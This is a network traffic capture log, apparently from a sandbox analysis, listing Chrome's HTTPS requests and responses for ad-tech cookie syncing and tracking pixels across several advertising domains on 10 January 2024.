2024-01-10 23:27:24 UTC	694	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1;Expires=Sat, 24 Feb 2024 23:27:24 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:24 GMT Connection: close
2024-01-10 23:27:24 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:24 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	50280	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1169	OUT	GET /cksync.php?type=rbcn&ovsid=LR8EUG12-1F-5JG4&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1
2024-01-10 23:27:24 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r=LR8EUG12-1F-5JG4~~1;Expires=Mon, 08 Jul 2024 23:27:24 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:24 GMT Connection: close
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:24 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	50279	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1161	OUT	GET /ups/58280/sync?uid=316bb570-8374-4683-a0e9-a8b41619214a&_origin=0&redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
2024-01-10 23:27:24 UTC	847	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:24 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58824/sync?_origin=0&dpid=58280&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&redir=true Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:24 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	50270	18.206.75.249	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	655	OUT	GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:24 UTC	456	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2; Path=/; Domain=kargo.com; Expires=Thu, 09 Jan 2025 23:27:24 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	50266	54.166.215.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	615	OUT	GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.adentifi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:24 UTC	128	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: text/plain Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	50273	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1271	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ctn&refUrl=&vid=49292349683479308310180275000V10&ovsid=3eb4f1d28af642b8a97d60a85e0f7108&axid_e=&y=null&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
2024-01-10 23:27:24 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1;Expires=Mon, 08 Jul 2024 23:27:24 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:24 GMT Connection: close
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:24 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	50274	185.184.8.90	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	722	OUT	GET /cm-notify?pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u=4eSxQcp0Lf90A16Ellma; g=4eSxQcp0Lf90A16Ellma_1704929240349; ts=1704929240
2024-01-10 23:27:24 UTC	471	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:24 GMT vary: Accept-Encoding location: https://ups.analytics.yahoo.com/ups/57926/sync?uid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&_origin=0&redir=true&pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Wed, 10 Jan 2024 23:27:24 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	50276	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1201	OUT	GET /cksync.php?cs=1&type=58259&ovsid=VEeMJ__OOM_smh2PNiGG&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
2024-01-10 23:27:24 UTC	663	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ylm=VEeMJ__OOM_smh2PNiGG~~1;Expires=Mon, 08 Jul 2024 23:27:24 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:24 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:24 GMT Connection: close
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:24 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	50290	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	831	OUT	GET /pixel?google_nid=rubicon&google_cm&google_sc&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:24 UTC	690	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&put=CAESEG69Tf4vitkJAL8R6L2tLAw&google_cver=1 Date: Wed, 10 Jan 2024 23:27:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 337 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:24 UTC	337	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 37 37 35 31 26 61 6d 70 3b 6e 69 64 3d 32 32 34 39 26 61 6d 70 3b 65 78 70 69 72 65 73 3d 33 30 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	50277	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1016	OUT	GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252Chttps%25253A%25252F%25252Fx.bidswitch.net%25252Fsync%25253Fdsp_id%25253D437%252526ssp%25253Dcriteo%252526user_id%25253D%252C&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUYASADKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.
2024-01-10 23:27:24 UTC	818	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 557 Connection: close server: Kestrel location: https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2Chttps%253A%252F%252Fx.bidswitch.net%252Fsync%253Fdsp_id%253D437%2526ssp%253Dcriteo%2526user_id%253D%2C set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUSFAoFdGFwYWQSCwiw1MK9t4_JPBAFGAEgASgCMgsI1MrF6s2PyTwQBTgBWgV0YXBhZGAC; expires=Fri, 10 Jan 2025 23:27:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:24 UTC	557	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 31 38 33 30 26 70 61 72 74 6e 65 72 5f 64 65 76 69 63 65 5f 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 74 74 64 5f 70 75 69 64 3d 64 31 36 65 33 38 32 33 2d 63 61 63 62 2d 34 33 38 66 2d 39 62 66 63 2d 63 32 62 63 38 63 38 32 33 32 35 31 25 32 43 68 74 74 70 73 25 32 35 33 41 25 32 35 32 46 25 32 35 32 46 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 25 32 35 32 46 73 79 6e 63 25 32 35 33 46 64 73 70 5f 69 64 25 32 35 33 44 34 33 37 25 32 35 32 36 73 Data Ascii: Redirecting to: <a href="https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2Chttps%253A%252F%252Fx.bidswitch.net%252Fsync%253Fdsp_id%253D437%2526s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	50271	3.222.135.61	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	659	OUT	GET /insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:24 UTC	570	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 211 Connection: close Location: https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQzNTAsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Wed, 10 Jan 2024 23:27:24 GMT; Max-Age=17280000; Secure; SameSite=None
